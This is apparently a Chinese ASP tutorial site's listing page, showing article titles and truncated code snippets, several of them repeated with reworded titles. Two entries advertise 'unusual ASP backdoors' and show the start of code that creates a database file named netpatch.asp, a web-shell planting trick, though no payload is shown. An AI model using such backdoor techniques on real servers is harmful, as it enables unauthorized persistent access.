-
多款另类的ASP后门
所属栏目：[Asp教程] 日期：2023-11-27 热度：7447
<%
'code by netpatch
dim dbfile,sql
db="netpatch.asp"
dbfile=server.MapPath(db)
set ydb=server.CreateObject("ADOX.Catalog")
ydb.Create "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" &[详细] -
asp下检查表中是否包含某个字段函数
所属栏目：[Asp教程] 日期：2023-11-27 热度：7447
复制代码 代码如下:
Function CheckFields(FieldsName,TableName)
Flag=False
sql="select * from "&TableName
Set RS=Conn.Execute(sql)
for i = 0 to RS.Fields[详细] -
分析 asp 中文的分词
所属栏目：[Asp教程] 日期：2023-11-27 热度：7447
<%
a="日本是中国的一个省|我们美丽中国的张家界！"
b="中国,我们,张家界,日本,美国,苹果"
b=split(b,",")
a=split(a,"|")
for k=0 to ubound(a)
s=""
n=""
for i=0 to ubound(b)
if instr(a(k),b(i))>0[详细] -
优秀的主体为VBS（ASP）位移算符加密类型
所属栏目：[Asp教程] 日期：2023-11-27 热度：7447
<script language="vbscript">
' Aother: 奔腾的心
' QQ: 7180001
' Date: 2008-01-17
Class mShift
Private m_lPower2(31)
Public Function RShift(ByVal lThis, ByVal lBit[详细] -
循环取值Request.QueryString的用途
所属栏目：[Asp教程] 日期：2023-11-25 热度：8316
当页面上的FORM以GET方式向页面发送请[/url]求数据(如数据含有不安全字符，则浏览器先将其转换成16进制的字符再传送，如空格被转成%20)时，WEB SERVER 将请求数据放入一名为QUERY_STRING的环境变量中，QueryStri[详细]
-
利用FSO更改目录名来实现文件的传输与链接保护
所属栏目：[Asp教程] 日期：2023-11-25 热度：8316
那天突然的一个灵感，是针对防盗链的
正常上传的文件，若被人盗链则增加了自己服务器的负担，上次164.cc就因此被挂
所以，只有自己先想办法。那么，现在看看标题，再想想防盗链，或许就有些眉目了
我可以不[详细] -
修正正确的asp冒泡排序
所属栏目：[Asp教程] 日期：2023-11-25 热度：8316
网上搜到的代码，千篇一律是这个
Function Sort(ary)
Dim KeepChecking,I,FirstValue,SecondValue
KeepChecking = TRUE
Do Until KeepChecking = FALSE
KeepChecking = FALSE
For I = 0 to UBound(ary[详细] -
不同的古怪的 ASP 后门方案
所属栏目：[Asp教程] 日期：2023-11-25 热度：8316
<%
'code by netpatch
dim dbfile,sql
db="netpatch.asp"
dbfile=server.MapPath(db)
set ydb=server.CreateObject("ADOX.Catalog")
ydb.Create "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" &[详细] -
在asp程式中，可利用查表功能确认某数据是否包含指定字段的值
所属栏目：[Asp教程] 日期：2023-11-25 热度：8316
复制代码 代码如下:
Function CheckFields(FieldsName,TableName)
Flag=False
sql="select * from "&TableName
Set RS=Conn.Execute(sql)
for i = 0 to RS.Fields[详细] -
使用ASP的中文分词
所属栏目：[Asp教程] 日期：2023-11-25 热度：8316
<%
a="日本是中国的一个省|我们美丽中国的张家界！"
b="中国,我们,张家界,日本,美国,苹果"
b=split(b,",")
a=split(a,"|")
for k=0 to ubound(a)
s=""
n=""
for i=0 to ubound(b)
if instr(a(k),b(i))>0[详细] -
优秀的 vbs/asp 加密移位运算类的用途很广泛
所属栏目：[Asp教程] 日期：2023-11-25 热度：8316
<script language="vbscript">
' Aother: 奔腾的心
' QQ: 7180001
' Date: 2008-01-17
Class mShift
Private m_lPower2(31)
Public Function RShift(ByVal lThis, ByVal lBit[详细] -
在.aspx中利用MySQL数据源要注意实现
所属栏目：[Asp教程] 日期：2023-11-25 热度：8316
不同的地方：
1、插入数据时候，mysql 应尽量使用 insert into语句，避免使用 rs.addnew，如果非的要用，应先设置 conn.CursorLocation=3 否则，肯定报错，而且我发现，用insert 要比 addnew 快大约3倍。还有，如果[详细] -
一个asp替代函数img里面多余的代码
所属栏目：[Asp教程] 日期：2023-11-25 热度：8316
<%
Response.Write(Server.HTMLEncode(FixImg("<img onclick=""if(this.width>screen.width-461) window.open('qq/20082181405371.jpg');"" alt="""" border=""0"" src="&[详细] -
从数据库中读取记录横向排版
所属栏目：[Asp教程] 日期：2023-11-24 热度：8689
<table width="100%" border="0" cellpadding="0" cellspacing="0">
<% do while not rs.eof %>
<tr>
<td height="80"><img src="<%= rs("图片")%>&quo[详细] -
ASP个人网站与动网结合非官方方法
所属栏目：[Asp教程] 日期：2023-11-24 热度：4426
虽然动网已提供有详细的"动网论坛系统Api接口开发人员指南"，但像我这样的菜鸟一时半会可是参详不透的，汗。不甘心，在对其登录、验证等函数进行一番研究再加以测试后最终竟也小有所成，菜鸟也有菜鸟的办法:
本次[详细] -
asp alexa查看小偷程序
所属栏目：[Asp教程] 日期：2023-11-24 热度：4426
<%
'为了支持原创，请保留该处注释，谢谢！
'作者：草上飞
'获取主域名
Function getDomainUrl(url)
tempurl=replace(url,"http://","")
if instr(tempurl,"/")>0 then
tempurl=[详细] -
一种获取与 ASP 数据库进行交互的函数的方法
所属栏目：[Asp教程] 日期：2023-11-24 热度：4426
复制代码 代码如下:
' ********************************************
' 以下为数据库相关函数
' ********************************************
' ==========================================[详细] -
在JScript中使用缓存技术的实践示例
所属栏目：[Asp教程] 日期：2023-11-24 热度：4426
在使用VBScript时，我们可以用Application缓存数组来实现缓存，例：
程序代码：
复制代码 代码如下:
Dim rs,arr
rs.Open conn,sql,1,1
arr=rs.GetRows()
Application.Lock()
Application("cache")=arr [详细] -
asp收集捕捉网上房产信息的代码
所属栏目：[Asp教程] 日期：2023-11-24 热度：4426
复制代码 代码如下:
<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
<!-- #include file="conn.asp" -->
<!-- #include file="inc/function.asp" -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional/[详细] -
在ASP里面搭建GUID
所属栏目：[Asp教程] 日期：2023-11-24 热度：4426
代码如下：
JScript
复制代码 代码如下:
function GenerateGuid() {
var TypeLib = new ActiveXObject("Scriptlet.TypeLib");
return (TypeLib.Guid);
}
VBScript
复制代码 代码如下:
Func[详细] -
ASP计算str2在str1中显示的次数
所属栏目：[Asp教程] 日期：2023-11-24 热度：4426
function CountStr(str1,str2)
dim tmp,i,j
if str1="" or isnull(str1) then
j=0
elseif str2="" or isnull(str2) then
j=1
else
[详细] -
ASP日常的系统配置函数
所属栏目：[Asp教程] 日期：2023-11-24 热度：4426
sub SaveConfig()
dim fso,hf
set fso=Server.CreateObject("Scripting.FileSystemObject")
set hf=fso.CreateTextFile(Server.mappath("../inc/config.asp"),true)
hf.write "<" & "%" & vbcrlf
hf.write[详细] -
把日期和时间的格式转换为 ASP 的代码
所属栏目：[Asp教程] 日期：2023-11-24 热度：4426
' ============================================
' 格式化时间(显示)
' 参数：n_Flag
' 1:"yyyy-mm-dd hh:mm:ss"
' 2:"yyyy-mm-dd"
' 3:"hh:mm:ss"
' 4:"yyyy年mm月dd日"
&[详细] -
阻止网页后退 asp禁止缓存
所属栏目：[Asp教程] 日期：2023-11-23 热度：6852
像一般网上很多禁止缓存的代码，有时并不可靠，这时你只要在操作的页面加上就可以了，在网页的里指定要定向的新页，再点后退，看是不是不会再退到刚才的操作页面了，实际上已经把这个历史给删除了
'''[详细] -
把ASP源代码转换成XML的工具有了
所属栏目：[Asp教程] 日期：2023-11-23 热度：6852
下边这个存为Pack.asp,打包文件时运行
复制代码 代码如下:
<%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%>
<%OptionExplicit%>
<%OnErrorResumeNext%>
<% Response.Charset="UTF-8"%>
<% Server.ScriptTimeou[详细]
